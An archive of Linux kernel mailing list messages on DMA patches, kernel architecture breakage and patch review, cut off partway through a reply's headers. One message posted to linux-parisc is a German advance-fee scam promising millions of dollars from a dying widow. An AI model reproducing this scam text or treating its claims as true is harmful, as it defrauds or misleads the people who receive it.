Xref: news.gmane.org gmane.linux.ports.ia64:28480 gmane.linux.kernel.iommu:21974 gmane.linux.ports.alpha:4653 gmane.linux.kernel.arc:3262 gmane.linux.ports.arm.kernel:623693 gmane.linux.ports.hexagon:1486 gmane.linux.kernel.metag:1560 gmane.linux.ports.mips.general:63121 gmane.linux.ports.parisc:28159 gmane.linux.ports.ppc64.devel:151658 gmane.linux.ports.sh.devel:56158 gmane.linux.ports.sparc:27165 gmane.linux.kernel.cross-arch:40976 gmane.linux.kernel:2657611
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28480>

On Tue, Jan 02, 2018 at 11:36:00AM +0100, Geert Uytterhoeven wrote:
> Hi Christoph,
> 
> On Fri, Dec 29, 2017 at 9:18 AM, Christoph Hellwig <hch@lst.de> wrote:
> > CONFIG_ALPHA_JENSEN has failed to compile since commit aca05038
> > ("alpha/dma: use common noop dma ops"), so mark it as broken.
> 
> unknown revision or path not in the working tree.
> Ah, you dropped the leading "6":
> 6aca0503847f6329460b15b3ab2b0e30bb752793
> is less than 2 years old, though.

I'll fix the reference.

But 23 month of a whole sub-architecture not compiling should still be
enough to mark it broken.
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 30/67] dma-direct: retry allocations using GFP_DMA for
	small masks
Date: Thu, 4 Jan 2018 10:02:51 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20180104090251.GE3251@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
	<20171229081911.2802-31-hch@lst.de>
	<f6139b03-0a4a-a9fe-4818-9b0bccf419e4@arm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515056460 17899 195.159.176.226 (4 Jan 2018 09:01:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 4 Jan 2018 09:01:00 +0000 (UTC)
User-Agent: Mutt/1.5.17 (2007-11-01)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
	Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>, linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, patches-q3qR2WxjNRFS9aJRtSZj7A@public.gmane.org,
	linux-metag-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	Michal Simek <monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org>, linux-cris-kernel-VrBV9hrLPhE@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: Vladimir Murzin <vladimir.murzin-5wv7dgnIgG8@public.gmane.org>
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Thu Jan 04 10:00:55 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1eX1OP-0004CK-IX
	for glki-iommu@m.gmane.org; Thu, 04 Jan 2018 10:00:53 +0100
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 5277272A;
	Thu,  4 Jan 2018 09:02:56 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id EF0104A6
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Thu,  4 Jan 2018 09:02:54 +0000 (UTC)
X-Greylist: from auto-whitelisted by SQLgrey-1.7.6
Original-Received: from newverein.lst.de (verein.lst.de [213.95.11.211])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 5C998D3
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Thu,  4 Jan 2018 09:02:53 +0000 (UTC)
Original-Received: by newverein.lst.de (Postfix, from userid 2407)
	id B237668C8A; Thu,  4 Jan 2018 10:02:51 +0100 (CET)
Content-Disposition: inline
In-Reply-To: <f6139b03-0a4a-a9fe-4818-9b0bccf419e4-5wv7dgnIgG8@public.gmane.org>
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:21975 gmane.linux.ports.mips.general:63122 gmane.linux.ports.ia64:28481 gmane.linux.ports.sh.devel:56159 gmane.linux.ports.sparc:27166 gmane.linux.kernel.cross-arch:40977 gmane.linux.ports.hexagon:1487 gmane.linux.kernel.arc:3263 gmane.linux.kernel.metag:1561 gmane.linux.ports.arm.kernel:623694 gmane.linux.ports.parisc:28160 gmane.linux.kernel:2657613 gmane.linux.ports.alpha:4654 gmane.linux.ports.ppc64.devel:151659
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/21975>

On Tue, Jan 02, 2018 at 04:43:15PM +0000, Vladimir Murzin wrote:
> On 29/12/17 08:18, Christoph Hellwig wrote:
> > If we got back an allocation that wasn't inside the support coherent mask,
> > retry the allocation using GFP_DMA.
> > 
> > Based on the x86 code.
> > 
> > Signed-off-by: Christoph Hellwig <hch-jcswGhMUV9g@public.gmane.org>
> > ---
> >  lib/dma-direct.c | 25 ++++++++++++++++++++++++-
> >  1 file changed, 24 insertions(+), 1 deletion(-)
> > 
> > diff --git a/lib/dma-direct.c b/lib/dma-direct.c
> > index ab81de3ac1d3..f8467cb3d89a 100644
> > --- a/lib/dma-direct.c
> > +++ b/lib/dma-direct.c
> > @@ -28,6 +28,11 @@ check_addr(struct device *dev, dma_addr_t dma_addr, size_t size,
> >  	return true;
> >  }
> >  
> > +static bool dma_coherent_ok(struct device *dev, phys_addr_t phys, size_t size)
> > +{
> > +	return phys_to_dma(dev, phys) + size <= dev->coherent_dma_mask;
> 
> Shouldn't it be: phys_to_dma(dev, phys) + size - 1 <= dev->coherent_dma_mask ?

Yes, I think it should.  The existing code was blindly copy and pasted
from x86.

> > +	if (page && !dma_coherent_ok(dev, page_to_phys(page), size)) {
> > +		__free_pages(page, page_order);
> > +		page = NULL;
> > +
> > +		if (dev->coherent_dma_mask < DMA_BIT_MASK(32) &&
> > +		    !(gfp & GFP_DMA)) {
> > +			gfp = (gfp & ~GFP_DMA32) | GFP_DMA;
> > +			goto again;
> 
> Shouldn't we limit number of attempts?

We only retty once anyway, due to the !GFP_DMA check first and then
ORing in GFP_DMA.

From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: 32982283@mylife.unisa.ac.za
Newsgroups: gmane.linux.ports.parisc
Subject: Hallo mein lieber Freund,
Date: Fri, 05 Jan 2018 13:22:19 +0530
Lines: 46
Approved: news@gmane.org
Message-ID: <HE1PR0101MB1689CD1D8A5967894EEA81E8B41C0@HE1PR0101MB1689.eurprd01.prod.exchangelabs.com>
Reply-To: verahollin88@gmail.com
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: blaine.gmane.org 1515138530 4267 195.159.176.226 (5 Jan 2018 07:48:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 5 Jan 2018 07:48:50 +0000 (UTC)
To: Recipients <32982283@mylife.unisa.ac.za>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 05 08:48:46 2018
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1eXMjw-0008Ii-An
	for glpp-linux-parisc@m.gmane.org; Fri, 05 Jan 2018 08:48:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751293AbeAEHuf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Fri, 5 Jan 2018 02:50:35 -0500
Original-Received: from mail-he1eur01hn0222.outbound.protection.outlook.com ([104.47.0.222]:53696
        "EHLO EUR01-HE1-obe.outbound.protection.outlook.com"
        rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
        id S1751319AbeAEHue (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Fri, 5 Jan 2018 02:50:34 -0500
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=mylifeunisaac.onmicrosoft.com; s=selector1-mylife-unisa-ac-za;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version;
 bh=OQAbivzd3MTq8BkUcHk/ekCvsdpDCIl9PbAftjOCArY=;
 b=UIAUjGMYnFsmwR84hFOPF6pOjkvCRRGsGJSxS9uOvF5os9uenGzIEDLg0qgLrjVWnKWaUjlVBVADZGl/UfLOKvsmyzCJThAW3toZBXZV59JKyvh3YE+nL2Ozkh/YX92j67z/R0e1ziT+YKJPSRIJdheTDWQ0Q/6kHntMoac6xB0=
Authentication-Results: spf=none (sender IP is )
 smtp.mailfrom=32982283@mylife.unisa.ac.za; 
Original-Received: from DESKTOP-NFKA1F5.domain.name (49.205.220.40) by
 HE1PR0101MB1689.eurprd01.prod.exchangelabs.com (2a01:111:e400:c517::13) with
 Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256) id 15.20.386.5; Fri, 5 Jan
 2018 07:50:22 +0000
Content-Description: Mail message body
X-Originating-IP: [49.205.220.40]
X-ClientProxiedBy: MWHPR06CA0024.namprd06.prod.outlook.com
 (2603:10b6:301:39::37) To HE1PR0101MB1689.eurprd01.prod.exchangelabs.com
 (2a01:111:e400:c517::13)
X-MS-PublicTrafficType: Email
X-MS-Office365-Filtering-Correlation-Id: 73c08027-8ddf-44b2-1a9b-08d55410feec
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:(4534020)(4602075)(4627115)(8989060)(201703031133081)(201702281549075)(8990040)(5600026)(4604075)(2017052603307)(7153060);SRVR:HE1PR0101MB1689;
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0101MB1689;3:j6f0YexLKG1IjSkpqlqyYjjOV3fgC+aLmGuNGNHxzEX/wnG5Bzhd1leldmLWoQ+wHUNZtw44YHES2LC5lYoxjxIMEFG8o+MlG4j2VoCvT6LS9wYelzEAXWqKLXxaWpw/j1Di1otWQA10hJwx4lM2JgHxKPQ/K8dH1My7f2wJHp87YpaazxpVigdYqpeE1zOYVSRZS0v+Bxh5a0DKzjoeeaIjjJ78gRkM/IPFsVfKEeigrQ+bA4AhsqCj77QKGcD2;25:Ys39DnKzhP+MMpqmx9r0/cqmyogF92NBuIQMuiLkKJgtjmKrwbpMkFMOUk3aIP4R6JbZWl1OCuEwW8ENmfGu+S1By7Zq0uEiBSJv/r8Ruk8R3huDeBxCpXqNGDQzvbPRpIeb5clfK2kSa3SWaQ/E7HmNm+egIhanXarmAA6Zb63YsTeqfL8PgO7xuODA2j7/QFqptI/q4N8+G7Vruz2P4cM/qHz0uZXRPDSj9ODKVsT3oTUnoPgD0KGYjRvLc1HulxRTdWJR2a7FmZZmEeuUGsYYJpo9VnQPzWJUIZNL/RTe6rGAArmePUiDhdAKlOdZHX6KOHdH+Kx22vuBUgI2Kg==;31:XyQuqsICPqLXs3ksrfnNIq2tuISQ9WhQ0IA0QzDY8GulHyFIxdOE9TGcqgsPG1c4A2ZEFvnkBMh8WDcx6ApTmcoCkHGn1EX2xKATIRAkcRmnWyB/05r1tbu+XSlL+cL6LmOJLL6rh8
 k0laRUx7rDur2loDkrAduE6wT5QVy22f+vj5mkIeWiSKDIBnr2GZj1vkE3SYDfI8GJ4rFVJG85F5UWubZWLTGiop/kraghWUo= 
X-MS-TrafficTypeDiagnostic: HE1PR0101MB1689:
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0101MB1689;20:+7xdjhQawZp8Bp/GlxkZxxTOA9ZOgsQNA5b7HfYVHynKs54QyN/fwrG0av+yZUyZ1ryJFvZvpuiZDZreg7f//7YpX1Erfp2CDHTteBUlPk75mXEsUB78gpgvevk4aqdyVb7ub5kgSwPJWYPI9kw4s3dYZcovRREboYz5TErlUio6uvG2pdtbJe/z0g8QuQLYSda5RdoIFYApKYsW9eudzYvsWz+sWYeE6k8ZqLS5iZuxRj79kSmj+fVrHHcsTLQmbl3u/K4n8EJVNMXjD9bOmZ059YhiqeIwlmqV8w3AcUK/dGEEvNJ2+QtEXyHju1LS4nd58JYCxooY0O0TaKjk5wXmTdJXBrpFRJDjGr92hOjd5kyGfGdssTDUuZEsdMctbl7TTAKEK+svqxYQL0FVQdbgeEvJVO/x0lr275YSS5WMr69fwacRi5gsn/TTdX5h+0CByU41AhQ0I+eiOgKT3oRplah7uBrIAdzBhy7Q9jFedDY5k+aU+RTHRjbrkD9w;4:WtiHXPEW3m8+RNfetytX7EjDuwD6MrYYK3Nc/DCqIDj5dQQUF67vTyIPC5VnRKU/+HDnKgWG93JfzQ86odJimkFPSXd4c7Ifr+4OSjepVfC9cbfcChKhL8HTaBITjRZG8kmZM8dXPci765jA2/39GNto3J4p89dcuokaZMGbCy/uVNNKEnqeTpmq4wo/6SWEd+t0hTOXqCkmgc7bzPekz7zgDZuf06kzJl9/o5
 PBDOjVVdyURRmXlfqPptonA1aGcr5fadRj4741mPqwb/wh4g==
X-Microsoft-Antispam-PRVS: <HE1PR0101MB1689835AEC475FCE86DE1AC5B41C0@HE1PR0101MB1689.eurprd01.prod.exchangelabs.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(6040470)(2401047)(8121501046)(5005006)(3231023)(944501075)(3002001)(10201501046)(93006095)(93001095)(6041268)(20161123562045)(201703131423095)(201702281529075)(201702281528075)(20161123555045)(201703061421075)(201703061406153)(20161123560045)(20161123564045)(20161123558120)(6072148)(201708071742011);SRVR:HE1PR0101MB1689;BCL:0;PCL:0;RULEID:(100000803101)(100110400095);SRVR:HE1PR0101MB1689;
X-Forefront-PRVS: 05437568AA
X-Forefront-Antispam-Report: SFV:SPM;SFS:(10019020)(366004)(376002)(346002)(39860400002)(396003)(39380400002)(199004)(189003)(50466002)(8746002)(97736004)(5009440100003)(786003)(85782001)(6486002)(2906002)(42882006)(68736007)(74316002)(6512007)(8656006)(23756003)(8936002)(6116002)(86362001)(3846002)(7736002)(250100001)(3480700004)(9686003)(52116002)(305945005)(6666003)(53256004)(43066004)(57250400002)(81156014)(33896004)(8676002)(39060400002)(81166006)(66066001)(106356001)(386003)(7416002)(6506007)(16526018)(105586002)(47776003)(153953002)(6862004)(53936002)(316002)(561924002)(5660300001)(69596002)(2860700003)(25786009)(478600001)(53416004)(22416003)(33656002)(62346012);DIR:OUT;SFP:1501;SCL:5;SRVR:HE1PR0101MB1689;H:DESKTOP-NFKA1F5.domain.name;FPR:;SPF:None;PTR:InfoNoRecords;A:1;MX:1;LANG:d
 e;
Received-SPF: None (protection.outlook.com: mylife.unisa.ac.za does not
 designate permitted sender hosts)
X-Microsoft-Exchange-Diagnostics: =?iso-8859-1?Q?1;HE1PR0101MB1689;23:55+mUcgGnEiIzlN3taccJRj38F292K4bGgTG2?=
 =?iso-8859-1?Q?K1qdilbb7l0AwSPt19hT/ASDH/lpFKoxVGO/rezkJsOK/rYoxqVqmWy1C5?=
 =?iso-8859-1?Q?jcnsetS+xzwqB1L33Ach4QPOJwTvgJEcTwMwgFNiXHxYIU6yP8P7IfI3MA?=
 =?iso-8859-1?Q?G7muuTFbyDNoFKVXT3rdbMH6x9K76Wn+ktHFIvNRTrjysfe0WauuCnI/Q8?=
 =?iso-8859-1?Q?Hd8G2OYzny11vzS4HNrWwL1YWTV0YgEDotJfKqldK0JEAa2lKU/HPrQUvX?=
 =?iso-8859-1?Q?Hd9pPV/nqJu+zYUzHhz3bffnxKdsUnPTpMniJZm+0ruO6Yn8C7I672zMVt?=
 =?iso-8859-1?Q?FJGIIEtQfWLhUrBGB/mtIH1aXYqTkmY3HPai5d9SvDLUQEEYl7HsVr0G3j?=
 =?iso-8859-1?Q?yWpKG6yzKV2FHQFBO0GxLtnXlpDOJLknsM9RJNb1NIsN/HYun1nqnm92zH?=
 =?iso-8859-1?Q?Y5Yw4SVzi8JhOhl+LRiGq6QYvW+ICcNfeWBPoz0Y52vNa+TipdUuOUkKXC?=
 =?iso-8859-1?Q?/sTjJf+rrYU9Hqo9F2SHO+N/S8nhRXW75qwguViI+IAf/Yhjs2YoGTLpxc?=
 =?iso-8859-1?Q?12Nm4K8Zl2TnTLvrSdptN4rwBA6QPtyyJgzpYeXdbLpHyOhYH86TEcbKEw?=
 =?iso-8859-1?Q?yMxC 
X-Microsoft-Exchange-Diagnostics: 1;HE1PR0101MB1689;6:dpHVPcyPrhJPVHKswxgmugMm9E24dRPHH8+SkyiZpYhpVsEcu/67W5V2rAY5H+xl4UT8mc8thn0x/O1GHmnGpl423rJc0Kq+gQ3qnifmq4F7OY9EYTQ1YUxMynPj+pxEcK/khMpKhvxyLmf3HVtkCdhZEiYz9VsB+3v5D7jP4Gw67SEqAUo/kcSfgXfHz2HQX+QohAdWuWh28xoDr6m7iVE1KAyb6RubVyOAK0+a29KxuQbqRCFU1E83pfuTyyB9WZKN+/P7r6IuiRIa9BUbBnds1XylTyu5ZeeP5Um0X/9MYxGgijTrfzi62PYS0zz7c2JEhQDiuYS0ygs7dL6IJHccSM9o4lwYfyQkG/EIVHI=;5:fC3xMep3FkOvbDZuu1Q2q+Xmb4Ky9DYmXbcO2TuG81mhJSCW2bGmKPADCrAo4k9IYyLuNzyJ378hOqfWo+gFA82BMuwsGLxYW4DGtw/Bw/7vVhnleSV84eEfgHOrZKsxqJcyHrdJbkruCnP0ZzrlN4zDLgW90sfBAr4bFYLNe3U=;24:buRdj+OKZ8i2QnTiewVa76Jmho8C0vUnpJ95S7By2K2WOVE2AJlMbwSYORQieNg/8UpXeNvUEQ2DagXZBfQwHw==;7:CF/OqFdF2XNQfH/x9aUF1yt1R9xdfkoY47ZhxVIe+9hebv6muNRrj0atwMf3iUlpJ3vCLF/nWA15gFZt6YBDBK0peHVVOE2L7toshYu1xtOvDjKH
 neRNqxWTv6DOrnh4GAX5m3cB/zUfe0HQQgT35GDLheQRt4zy1xaxcyXIRQzvJlaSKmQpG+wecqytRy/sPqkXt2enWcv6hRtZp4 
SpamDiagnosticOutput: 1:22
X-OriginatorOrg: mylife.unisa.ac.za
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 05 Jan 2018 07:50:22.4634
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 73c08027-8ddf-44b2-1a9b-08d55410feec
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: ca9a8b8c-3ea3-4799-a43e-5510398e7a3b
X-MS-Exchange-Transport-CrossTenantHeadersStamped: HE1PR0101MB1689
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:28161
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/28161>

Hallo mein lieber Freund,

Ich schreibe dir diese Post mit schweren Tr=E4nen In meinen Augen und gro=
=DFem Kummer in meinem Herzen, Mein Name ist Vera Hollin Kvan, und ich kont=
aktiere dich aus meinem Land Indien Ich m=F6chte dir das sagen, weil ich ke=
ine habe Eine andere M=F6glichkeit, als Ihnen zu sagen, wie ich ber=FChrt w=
ar, um Sie zu =F6ffnen, heiratete ich mit Herrn Hollin Kvan, der f=FCr neun=
 Jahre mit der tunesischen Botschaft in Madrid Spanien arbeitete, bevor er =
im Jahr 2005 starb. Wir waren elf Jahre ohne verheiratet Kind.

Er starb nach einer kurzen Krankheit, die nur f=FCnf Tage dauerte. Seit sei=
nem Tod entschied ich mich, nicht wieder zu heiraten. Als mein verstorbener=
 Mann noch am Leben war, hinterlegte er die Summe von $ 4.850.000,00USD (Vi=
er Millionen achthundertundf=FCnfzigtausend Dollar) in einer Bank hier in I=
ndien Neu-Delhi, der Hauptstadt Indiens, gegenw=E4rtig dieses Geld ist imme=
r noch in der Bank.

Er stellte dieses Geld f=FCr den Export von Gold aus dem Minenfactory in Ma=
drid Spanien zur Verf=FCgung. In letzter Zeit sagte mir mein Doktor, dass i=
ch wegen der Krebserkrankung f=FCr die Dauer von sieben Monaten nicht =FCbe=
rleben w=FCrde. Derjenige, der mich am meisten st=F6rt, ist meine Schlaganf=
all-Krankheit. Nachdem ich meinen Zustand gekannt habe, habe ich beschlosse=
n, dir dieses Geld auszuh=E4ndigen, um auf die weniger privilegierten Mensc=
hen aufzupassen, du wirst dieses Geld auf die Art und Weise benutzen, wie i=
ch es hier unterrichten werde.

Ich m=F6chte, dass Sie 30 Prozent des gesamten Geldes f=FCr Ihren pers=F6nl=
ichen Gebrauch aufwenden, w=E4hrend 70% des Geldes an wohlt=E4tige Zwecke g=
ehen, Menschen auf der Stra=DFe und dem Waisenhaus helfen. Ich bin als Wais=
e aufgewachsen und habe keinen K=F6rper als mein Familienmitglied, nur um z=
u beenden, dass das Haus Gottes auch erhalten wird. Mache dies, damit Gott =
meine S=FCnden vergibt und meine Seele akzeptiert, weil diese Krankheiten m=
ich so sehr leiden. Sobald ich Ihre Antwort erhalten habe, werde ich Ihnen =
den Kontakt der Bank hier in Delhi Indien geben und ich werde auch den Bank=
manager beauftragen, Ihnen einen Vollmachtenbrief auszustellen, der Ihnen d=
en gegenw=E4rtigen Beg=FCnstigten des Geldes in der Bank beweisen wird, wen=
n Sie versichern mir, dass Sie entsprechend handeln werden, wie ich hier an=
gegeben habe.

Ich hoffe auf Ihre Antwort.
Von Vera Hollin kVan
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Vineet Gupta <Vineet.Gupta1-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 09/67] arc: remove CONFIG_ARC_PLAT_NEEDS_PHYS_TO_DMA
Date: Fri, 5 Jan 2018 11:45:16 -0800
Lines: 117
Approved: news@gmane.org
Message-ID: <2c24bfd1-5f54-4b82-444e-833dc53b6efd@synopsys.com>
References: <20171229081911.2802-1-hch@lst.de>
	<20171229081911.2802-10-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; Format="flowed"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1515181425 7786 195.159.176.226 (5 Jan 2018 19:43:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 5 Jan 2018 19:43:45 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
	Thunderbird/52.5.0
Cc: "linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org" <linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org>,
	"linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	Guan Xuetao <gxt-TG0Ac1+ktVePQbnJrJN+5g@public.gmane.org>,
	"linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-arch-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org" <linux-c6x-dev-jPsnJVOj+W6hPH1hqNUYSQ@public.gmane.org>,
	"linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org" <linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org>,
	"x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org" <x86-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org>, "linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org"
	<linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org>,
	"adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org"
	<adi-buildroot-devel-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org>,
